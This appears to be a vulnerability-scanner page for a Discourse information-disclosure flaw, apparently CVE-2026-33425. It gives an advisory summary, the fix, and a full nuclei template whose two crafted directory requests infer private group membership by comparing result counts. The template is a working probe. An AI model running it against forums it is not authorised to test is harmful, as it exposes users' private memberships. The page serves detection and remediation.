Discourse - Private Group Membership Inference via exclude_groups

mediumseverity

5.3CVSS score

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.

Impact

Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.

Fix

Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.

How to confirm it

Send: GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}}
Positive when: status_code == 200 and contains(content_type, "json") and regex("\"total_rows_directory_items\":[0-9]+", body)
Send: GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4
Positive when: status_code == 200 and contains(content_type, "json") and !regex("total_rows_directory_items.:" + basetotal + "[,}]", body)

Run it with nuclei: nuclei -id CVE-2026-33425 -u <target>

The full check

id: CVE-2026-33425

info:
  name: Discourse - Private Group Membership Inference via exclude_groups
  author: str4k3r
  severity: medium
  description: |
    Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.
  impact: |
    Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
  remediation: |
    Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33425
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-33425
    epss-score: 0.00689
    epss-percentile: 0.53072
    cwe-id: CWE-203
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"discourse"
    fofa-query: body="/assets/discourse"
  tags: cve,cve2026,discourse,info-disclosure,unauth

variables:
  ghost: "{{rand_base(8, 'acfhjnprx')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("\"total_rows_directory_items\":[0-9]+", body)'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: basetotal
        group: 1
        internal: true
        regex:
          - '"total_rows_directory_items":([0-9]+)'

  - raw:
      - |
        GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - '!regex("total_rows_directory_items.:" + basetotal + "[,}]", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from